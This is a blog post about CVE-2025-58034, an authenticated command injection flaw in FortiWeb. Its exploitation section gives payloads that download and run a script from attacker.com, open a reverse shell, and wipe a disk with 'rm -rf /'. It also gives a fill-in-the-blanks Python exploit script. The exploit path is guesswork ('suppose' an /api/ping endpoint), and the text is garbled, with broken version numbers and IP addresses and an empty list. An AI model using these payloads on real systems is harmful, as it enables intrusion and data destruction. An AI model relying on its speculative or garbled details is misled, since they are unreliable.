A recently disclosed vulnerability, CVE-2025-58034, is shaking up the world of Fortinet users. This critical flaw, categorized as CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’), affects a wide range of FortiWeb versions:

FortiWeb 7.. through 7..11

With authentication, an attacker can execute unauthorized system commands via crafted HTTP requests or CLI commands. This post is a full dive into what the vulnerability is, how it works, and how exploitation might look—plus defensive steps.

What is OS Command Injection (CWE-78)?

OS Command Injection is when a program lets attackers run arbitrary commands on the underlying OS via input that hasn’t been properly filtered. This is dangerous because it usually leads to full control over the system. If a web dashboard or CLI takes user input and directly plugs it into a server command, an attacker can sneak in something like ; rm -rf / to wipe the storage or ; wget http://malicious/evil.sh | sh to download and execute malware.

7..-7..11

Reference: Fortinet Security Advisory (Upcoming)

Attack Vector

For this vulnerability, an attacker needs some form of authentication (like a low-privilege account) to send the malicious payloads. The flaws are triggered either via:

Suppose the backend has code like this, in pseudocode (Python-like for demo)

def reboot_device(request):
    # Unfiltered 'delay' parameter from HTTP POST
    delay = request.POST['delay']  # e.g., delay = "10"
    os.system(f"shutdown -r +{delay}")

If an attacker sets delay=10;id, the backend runs

shutdown -r +10;id

The server reboots in 10 minutes and also runs id (revealing the running user). With a more complex payload, the attacker could:

Step 1: Get a Low Privilege Account

Many attackers first try leaked, default, or weak credentials.

Step 2: Send Exploit Payload

Suppose the vulnerable parameter is called user, and you have access to a page that pings another server:

Malicious HTTP Request

POST /api/ping HTTP/1.1
Host: victim.fortigate.local
Cookie: Session=<valid session id>
Content-Type: application/x-www-form-urlencoded

ip=127...1;curl http://attacker.com/shell.sh | sh

On the server, if ping is run like this

ping <user input>

It becomes

ping 127...1;curl http://attacker.com/shell.sh | sh

Your script at attacker.com now runs with device privileges.

Let's send a reverse shell payload

ip=127...1;bash -i >& /dev/tcp/attacker.com/4444 >&1

You can use requests library in Python to automate exploitation

import requests

target = "https://victim.fortigate.local";
session_id = "your_authenticated_session"
payload = "127...1;curl http://attacker.com/shell.sh | sh"

headers = {
    "Cookie": f"Session={session_id}",
    "Content-Type": "application/x-www-form-urlencoded"
}

data = {
    "ip": payload
}

r = requests.post(f"{target}/api/ping", headers=headers, data=data, verify=False)
print(r.text)

Replace values above with actual session, target, and desired payload.

Defensive Steps

- Patch your FortiWeb software: Upgrade beyond the affected versions immediately. Even if no official advisory is up yet, stay alert on Fortinet PSIRT and CVE Official.

Audit Authentication: Limit admin interface exposure. Require strong passwords and 2FA.

- Disable CLI/HTTP APIs if not needed.

References

- CVE-2025-58034 Record (MITRE) *(pending publication)*
- CWE-78: OS Command Injection
- Fortinet Security Center
- OS Command Injection - OWASP

Summary

CVE-2025-58034 is a serious OS command injection risk in FortiWeb—even for those with limited authentication. Patch quickly, monitor access, and tighten controls. If you use affected FortiWeb products, respond *immediately* to secure your environment.

Stay safe, and always practice strict input validation—don’t trust user input on any admin interfaces!


*(This post is for educational purposes. Do not exploit systems without authorization.)*

Timeline

Published on: 11/18/2025 17:16:05 UTC
Last modified on: 11/21/2025 18:27:43 UTC